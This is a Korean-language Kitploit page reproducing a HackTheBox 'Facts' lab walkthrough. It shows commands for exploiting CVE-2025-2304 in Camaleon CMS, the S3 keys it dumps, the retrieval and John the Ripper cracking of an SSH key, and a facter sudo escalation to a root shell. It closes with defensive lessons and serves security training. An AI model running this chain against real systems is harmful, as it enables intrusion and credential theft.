Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
htb-facts — HackTheBox — Facts (쉬움/Linux) | CVE-2025-2304 + AWS S3 + SSH 키 + Facter 권한 상승 | Kitploit
도구/GitHubGitHub/mattiapertusati/htb-facts
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLearning & Education
GitHubmattiapertusati/htb-facts

htb-facts

4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

HackTheBox — Facts (쉬움/Linux) | CVE-2025-2304 + AWS S3 + SSH 키 + Facter 권한 상승

저장소 보기

HTB — Facts (Easy/Linux) - 시즌 10

HTB Difficulty OS Status Techniques Techniques PrivEsc

요약

Facts는 알려진 취약점(CVE-2025-2304)을 Camaleon CMS에서 악용하여 로컬 AWS S3 자격 증명을 추출해야 하는 Easy 난이도의 Linux 머신입니다. 내부 S3 버킷을 열거하면 SSH 개인 키가 발견되며, 이를 John the Ripper를 사용해 크래킹하여 초기 접근 권한을 얻어야 합니다. 권한 상승은 /usr/bin/facter에 대한 sudo 잘못된 구성을 악용하여 사용자 지정 Ruby 코드를 실행함으로써 루트 셸을 획득하는 방식으로 이루어집니다.

공격 체인: Nmap → Camaleon CMS (CVE-2025-2304) → S3 버킷 열거 → SSH 키 크래킹 → sudo facter → Root


정찰

포트 스캔

대상 머신에서 활성 서비스를 식별하기 위해 Nmap 스캔부터 시작하겠습니다. Bash

root@kitploit:~
nmap -sV -sC -oN nmap_facts 10.129.244.96

결과:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap Scan

Nmap은 22(SSH)와 80(HTTP) 두 개의 열린 포트를 보여줍니다. 웹 서버는 Nginx 기반입니다. 사이트와 제대로 상호작용하려면 /etc/hosts 파일에 facts.htb 호스트를 추가해야 합니다.

root@kitploit:~
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts

웹 열거

포트 80에서 사이트를 방문하면 일반적인 웹 페이지가 표시됩니다. 숨겨진 경로를 찾기 위해 디렉터리 무차별 대입 공격(예: ffuf 또는 gobuster 사용)을 실행합니다.

root@kitploit:~
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ

열거 결과 관리자 패널과 관련된 몇 가지 흥미로운 디렉터리(/admin, /admin.php 등)가 발견되며, 이들은 모두 302 상태 코드로 http://facts.htb/admin/login.로 리디렉션됩니다.

Enumeration

로그인 페이지를 방문하여 인증하거나(또는 패널의 하단을 확인하면) 사이트 뒤에 있는 기술이 Camaleon CMS임을 알 수 있습니다.

오른쪽 하단 모서리에서 중요한 세부 정보가 눈에 띕니다. CMS 버전은 2.9.0입니다.

Admin Panel


악용

Camaleon CMS (CVE-2025-2304)

서버가 Camaleon CMS 2.9.0을 실행 중임을 확인했으므로, 온라인에서 빠르게 검색해 보면 인증된 사용자가 관리자로 권한 상승할 수 있게 해주는 CVE-2025-2304라는 치명적인 취약점을 발견할 수 있습니다.

GitHub(GitHub에서 Alien0ne이 만든)에서 공개 익스플로잇을 찾아 공격자 머신에 다운로드합니다.

GitHub Exploit

보유 중인 자격 증명(예: mattia:mattia)을 전달하여 관리자로 권한을 상승시키고, 민감한 정보를 추출한 후, 명백한 흔적을 남기지 않기 위해 원래 역할로 되돌리는 방식으로 익스플로잇을 실행합니다.

root@kitploit:~
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r

익스플로잇의 출력은 금광과 같습니다. 서버가 사용하는 로컬 AWS S3 자격 증명과 내부 엔드포인트를 추출해 냅니다.

  • S3 Access Key: AKIAA103ACAA5953D888

  • S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR

  • S3 Endpoint: http://localhost:54321 (which becomes http://facts.htb:54321 for us)

Exploit


S3 버킷 열거

이 키들을 사용하여 로컬 AWS CLI를 구성하고 머신이 노출한 S3 서비스와 상호작용할 수 있습니다.

root@kitploit:~
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json

이제 사용자 지정 엔드포인트 URL을 전달하여 사용 가능한 버킷을 나열할 수 있습니다:

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls

internal과 randomfacts 두 개의 버킷을 발견합니다. internal 버킷을 재귀적으로 탐색하면 키가 포함된 .ssh 폴더를 발견할 수 있습니다!

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive

id_ed25519 파일(SSH 개인 키)을 우리 머신에 다운로드합니다.


SSH 키 크래킹

개인 키는 얻었지만 암호(passphrase)로 보호되어 있습니다. 이를 크래킹하기 위해 John the Ripper 스위트를 사용할 것입니다. 먼저 ssh2john을 사용하여 John이 읽을 수 있는 형식으로 키를 변환합니다:

root@kitploit:~
ssh2john id_ed25519 > hash.txt

다음으로 사전 공격을 실행합니다(사용자 지정 단어 목록 my_guess.txt 또는 클래식한 rockyou.txt 사용):

root@kitploit:~
john --wordlist=my_guess.txt hash.txt

암호가 성공적으로 크래킹되었습니다: dragonballz. 이제 서버에 접근하는 데 필요한 모든 것을 확보했습니다!

Exploit


권한 상승

이제 필요한 모든 것을 확보했으므로 앞서 발견한 두 번째 열린 포트인 SSH 포트(22)를 활용할 수 있습니다.

root@kitploit:~
ssh -i id_ed25519 [email protected]

앞서 찾은 암호를 사용합니다: dragonballz. 접속 성공!

이제 root 접근 권한을 얻기 위해 악용할 수 있는 경로를 찾아야 하므로 sudo -l을 사용합니다.

경로:

/usr/bin/facter

이 경로를 악용하기 위해 미니 스크립트를 사용합니다:

root@kitploit:~
echo 'Facter.add(:pwn) do
  setcode do
    exec (“/bin/bash -p”)
  end
end' > /tmp/pwn.rb

그런 다음 실행합니다:

root@kitploit:~
sudo /usr/bin/facter --custom-dir=/tmp pwn

SSH

공식적으로 root 권한을 획득했습니다!!!

이제 남은 것은 두 개의 플래그를 찾는 것뿐입니다 :)

FLAG


얻은 교훈

공격적 관점

  • CMS 버전이 푸터/헤더에 노출되면 공격 표면이 즉시 드러난다
  • 특정 버전에 대한 CVE 조사는 핑거프린팅 후 항상 첫 번째 단계이다
  • S3와 같은 내부 서비스는 공개 대상이 아닌 민감한 데이터를 노출할 수 있다
  • 클라우드 스토리지에 있는 SSH 개인 키는 실제 환경에서 볼 수 있는 심각한 잘못된 구성이다

방어적 관점

  • AWS 자격 증명을 애플리케이션 코드 또는 접근 가능한 스토리지에 노출하지 마라
  • S3 버킷 권한을 제한하라 — 내부 버킷은 공개적으로 열거 가능해서는 안 된다
  • sudo 권한을 정기적으로 감사하라 — NOPASSWD가 설정된 facter는 root로 가는 직접적인 경로이다
  • CMS 소프트웨어를 최신 상태로 유지하라 — CVE-2025-2304에는 패치가 제공되었다

공격 체인 요약

NMAP — 포트 2개 발견 (22, 80) ↓ 웹 열거 — 관리자 섹션 발견 ↓ Camaleon CMS -> CVE-2025-2304 ↓ 익스플로잇 + AWS 설정 ↓ 해시 크래킹을 위한 John the ripper ↓ SSH 로그인 ↓ Sudo -l ↓ 스크립트 + 실행 ↓ ROOT ✅


참고 자료

  • CVE-2025-2304
  • Camaleon CMS
  • GTFOBins — facter
  • HackTheBox — Facts
도구 다운로드